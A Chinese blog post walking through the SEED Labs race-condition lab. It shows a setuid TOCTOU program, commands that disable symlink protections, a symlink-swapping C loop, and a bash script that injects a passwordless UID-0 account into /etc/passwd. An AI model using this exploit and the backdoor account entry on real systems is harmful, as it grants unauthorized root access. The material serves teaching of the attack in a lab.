SEEDLAB_Race-Condition


竞态攻击实验

为配置攻击可复现环境,在官方提供的Ubuntu20.4虚拟环境中,我们要执行以下命令以关闭保护

sudo sysctl -w fs.protected_symlinks=0
sudo sysctl fs.protected_regular=0

漏洞定位

首先给出我们的漏洞程序,标注here的两处存在竞态漏洞。注意,该程序应该为root所有的Set_uid程序

在检查(access)和使用(fopen)之间存在一个时间窗口,这段时间里,被access()检查的文件可能与被fopen()使用的文件不是同一个,尽管它们具有相同的文件名/tmp/XYZ。如果攻击者能够在该时间窗口内使/tmp/XYZ成为指向/etc/passwd的符号链接,则可以导致用户输入被添加到/etc/passwd中,由此获得root权限。由于该漏洞运行在root权限下,因此它有权限修改任何文件。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {  //here
        fp = fopen(fn, "a+"); //here
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);  
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}

任务一:选择目标

为了验证竞态攻击确实可以得到root权限,我们将攻击目标定为普通用户不可写的/etc/passwd;希望在竞态时间窗口实现新建一个root权限用户的操作

首先介绍一下用户记录的格式,这里是root用户的示例,依次为:用户名、密码占位符、用户ID、组ID、用户描述信息、用户目录、用户登录shell

root:x:0:0:root:/root:/bin/bash

对于root用户来说,第三个字段(用户ID字段)的值为0。也就是说,其进程的用户ID将被设置为0,从而赋予该进程root权限。所以如果想创建一个具有root权限的新帐户,只需在该字段中放入0即可。

在上面的示例中,密码字段设置为”x”,表示密码存储在名为/etc/shadow的文件中。这就意味着我们还需要利用竞态条件漏洞在shadow文件中也添加一条记录,这并不难做到。

但我们有更简单的方法。与其将”x”放入密码文件中,我们可以直接将密码放在密码字段,这样操作系统就不会去shadow文件中查找密码。密码字段并不存放实际的密码,而是存储其单向哈希值。为了得到一个密码的单向哈希值,我们可以在自己的系统中使用adduser命令创建一个新用户,并从shadow文件中获取该密码的单向哈希值。

有趣的是,Ubuntu中有一个用于无口令帐户的神奇值,该值为U6aMy0wojraho(空字符串的哈希)。如果我们把这个值放在用户记录的密码字段内,不需要密码就可以进入到这个用户的账号。

为了验证这个神奇的哈希值是否为真,我们以root身份修改用户记录文件,添加记录如下

修改/etc/passwd

验证结果确实无需密码就能登录,同时获取了root权限

任务二:发起攻击

本任务的目的是利用上述setuid程序中的竞态条件漏洞获得root权限。攻击中最关键的步骤,即让/tmp/XYZ指向密码文件,必须发生在access()和fopen()调用之间

Cheat mode

初始阶段,为了保证我们有充足的时间窗口进行攻击尝试,我们可以模拟一台慢速机器进行操作,提供10s的攻击窗口

if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");

为了验证攻击后可以获取root权限,我们 sudo touch try_file来创建一个特权文件。仅Root状态下可以写入

普通用户无法写入

接下来,我们先在tmp目录下创建XYZ文件,然后运行vulp_slow,并通过scanf输入写入文件的字符串。

1779692365285

按下回车以后,将有10s的停顿,此时将XYZ链接到特权文件。1779692459309

即可通过竞态漏洞成功写入特权文件

1779692527536

Real Attack

前面的任务中,我们手动为程序运行减速,实际上算是cheat了,但接下来将进行真正的攻击。

竞态条件攻击中的典型策略是在目标程序运行时并行运行攻击程序,希望关键步骤能够在小时间窗口内完成。我们可以反复进行攻击,直到成功为止。

由于Unlink将会删除原先的链接文件,所以我们代码设计如下(seed为普通用户权限)。借助权限的轮转来通过access的检查,同时每次循环留出部分时间供vlup调度

#include <unistd.h>
#include <stdio.h>
#define seed "/home/seed/Desktop/Labsetup6/try"
#define rot "/etc/passwd"
#define symbol "/tmp/XYZ"
int main(){
	while(1){
		unlink(symbol);
		symlink(seed,symbol);
		unlink(symbol);
		symlink(rot,symbol);
		usleep(10);
	}
	return 0;
}

除攻击程序外,还设计了脚本用于循环启动vulp并在合适时机停止攻击(/etc/passwd出现变化时)。此处我们使用echo与管道将期望内容写入文件

#!/bin/bash
  
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]  
do
   echo "yssx:U6aMy0wojraho:0:0:yssx:/root:/bin/bash" | ./vulp   
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

攻击结果如下

成功添加root权限账户


文章作者: Yssx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Yssx !
评论
  目录